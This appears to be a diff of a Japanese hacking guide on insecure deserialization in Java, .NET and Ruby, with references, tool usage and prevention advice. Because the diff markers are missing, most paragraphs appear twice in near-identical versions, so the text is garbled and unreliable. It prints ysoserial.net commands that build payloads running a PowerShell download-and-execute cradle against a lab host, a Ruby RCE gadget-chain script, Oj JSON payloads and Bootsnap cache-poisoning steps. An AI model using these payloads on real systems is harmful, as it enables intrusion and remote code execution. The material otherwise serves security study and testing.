- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) スライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) スライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDIインジェクション & log4Shell
**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください
**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -598,11 +650,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Javaメッセージサービス
> **Javaメッセージサービス****JMS**APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサーコンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディションJava EEの一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にすることを可能にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
> **Javaメッセージサービス****JMS**APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサーコンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディションJava EEの一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
### 製品
このミドルウェアを使用してメッセージを送信する製品がいくつかあります
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
@ -610,15 +662,17 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### 悪用
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるオブジェクトを送信できる可能性があります**。\
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するため有効なガジェットを見つける必要があることを忘れないでください。
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信することで、これらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
### 参考文献
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
@ -630,20 +684,20 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
#### ホワイトボックス
ソースコード内で以下の出現を検査する必要があります
ソースコード内で以下の出現を検査する必要があります:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
ユーザー制御下の変数によってタイプを決定できるシリアライザーに焦点を当てるべきです。
ユーザー制御下の変数によってを決定できるシリアライザーに焦点を当てるべきです。
#### ブラックボックス
検索は、Base64エンコードされた文字列**AAEAAAD/////**またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、`TypeObject``$type`を含むがこれに限定されない**JSON**または**XML**構造が含まれる可能性があります。
検索は、サーバー側でデシリアライズされる可能性のあるBase64エンコードされた文字列**AAEAAAD/////**またはそれに類似したパターンを対象とする必要があります。これには、`TypeObject``$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません
### ysoserial.net
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイルする**必要があります。
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成**できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
@ -651,16 +705,16 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
- **`--output`**は、悪用を**生**または**base64**エンコードされた形式で取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**Windowsでデフォルトで使用されるエンコーディングを使用して**エンコード**しますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディング互換性の問題**が発生する可能性がありますHTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません。_
- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグインをサポートしています**
- **`--output`**は、悪用を**生**または**base64**エンコードされた形式で取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**Windowsでデフォルトで使用されるエンコーディングを使用して**エンコード**するため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディング互換性の問題**が発生する可能性がありますHTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません。_
- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。
#### 追加のysoserial.netパラメータ
- `--minify`は**小さいペイロード**を提供します(可能な場合)。
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
- `--sf xml`は**ガジェット**`-g`を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します大文字と小文字を区別しない)。
- `--sf xml`は**ガジェット**`-g`を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します大文字と小文字を区別しません)。
**ysoserialの例**を使用して悪用を作成します
**ysoserialの例**を使用して悪用を作成します:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -678,8 +732,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
このパラメータを指定すると、**ysoserial.net** は **ローカルでエクスプロイトを試み** ので、ペイロードが正しく機能するかどうかをテストできます。\
**ysoserial.net** には、各エクスプロイトの動作をよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
このパラメータを指定すると、 **ysoserial.net****ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -706,7 +760,7 @@ return obj;
}
```
In the **前のコードは作成されたエクスプロイトに脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
そのため、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
したがって、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
### ViewState
@ -714,17 +768,17 @@ In the **前のコードは作成されたエクスプロイトに脆弱です**
### Prevention
デシリアライズに関連するリスクを軽減するために、.Netで
.Netにおけるデシリアライズに関連するリスクを軽減するために:
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
- **`JSON.Net`の場合、`TypeNameHandling``None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JSON.Net`の場合、`TypeNameHandling``None`に設定します:** `TypeNameHandling = TypeNameHandling.None`
- **`JavaScriptSerializer``JavaScriptTypeResolver`と一緒に使用しないでください。**
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException``Value`プロパティは悪用される可能性があります。
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer``XmlSerializer`でさえ脆弱になります。**
- **`BinaryFormatter``JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
- **`BinaryFormatter`および`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
### **References**
@ -735,7 +789,7 @@ In the **前のコードは作成されたエクスプロイトに脆弱です**
## **Ruby**
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアル化と呼ばれます。
シリアル化されたオブジェクトを保護するために、**RubyはHMACHash-Based Message Authentication Code**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
@ -744,7 +798,7 @@ Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッ
- `config/secrets.yml`
- `/proc/self/environ`
**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**:**
**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)****:
```ruby
#!/usr/bin/env ruby
@ -819,7 +873,7 @@ puts Base64.encode64(payload)
### Ruby .send() メソッド
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッド**任意のパラメータで呼び出すことを可能にします。
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッド**任意のパラメータで呼び出すことを可能にします。
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
```ruby
@ -850,21 +904,21 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Rubyクラス汚染
[ここでRubyクラスを汚染し、悪用する方法を確認してください](ruby-class-pollution.md)。
[ここでRubyクラスを汚染し、それを悪用する方法を確認してください](ruby-class-pollution.md)。
### Ruby _json汚染
ボディにハッシュ化できない値(配列など)を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認バイパスが行われる可能性があります。
ボディに配列のようなハッシュ化できない値を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認バイパスが行われる可能性があります。
[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。
### その他のライブラリ
この技術は[**このブログ記事から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
この技術は[**このブログ投稿から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、れらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています基本的にRCEを得るために悪用する関数
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、れらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています基本的にRCEを得るために悪用する関数
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>[json_createに関するートを最後に参照](#table-vulnerable-sinks)</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table>
基本的な例:
```ruby
@ -888,7 +942,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
```json
{
"^o": "URI::HTTP",
@ -926,7 +980,7 @@ Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガ
### ブートストラップキャッシング
実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用して、任意のファイル書き込みからRailsアプリケーションでRCEを取得するための素晴らしいトリックです(完全な[元の投稿はこちら](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)見つけてください)。
実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用してRailsアプリケーションから任意のファイル書き込みによるRCEを取得するための良いトリックです(完全な[元の投稿はこちら](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)見つけてください)。
以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するための記事で詳述された手順の短い要約です
@ -944,19 +998,19 @@ Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファ
- キャッシュファイルパスの計算
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所tmp/cache/bootsnap/compile-cache-iseq/の下)に正確に配置されることが保証されます。
BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所えば、tmp/cache/bootsnap/compile-cache-iseqの下)に正確に配置されることが保証されます。
- 悪意のあるキャッシュファイルの作成
攻撃者は、以下のことを行うペイロードを準備します:
攻撃者は、次のようなペイロードを準備します:
- 任意のコマンドを実行す例えば、プロセス情報を表示するためにidを実行
- 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除。
- アプリケーションがクラッシュしないように元のファイルset.rbを読み込む
- 任意のコマンドを実行しま例えば、プロセス情報を表示するためにidを実行
- 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除します
- アプリケーションがクラッシュしないように、元のファイル例えば、set.rbを読み込みます
このペイロードは、バイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー以前に収集したメタデータとBootsnapの正しいバージョン番号を使用と連結されます。
- 上書きと実行のトリガー
任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーしますtmp/restart.txtに書き込むことで、Pumaによって監視されています。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行RCEが発生します。
任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(Pumaによって監視されているtmp/restart.txtに書き込むことによって。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行RCEが発生します。
{{#include ../../banners/hacktricks-training.md}}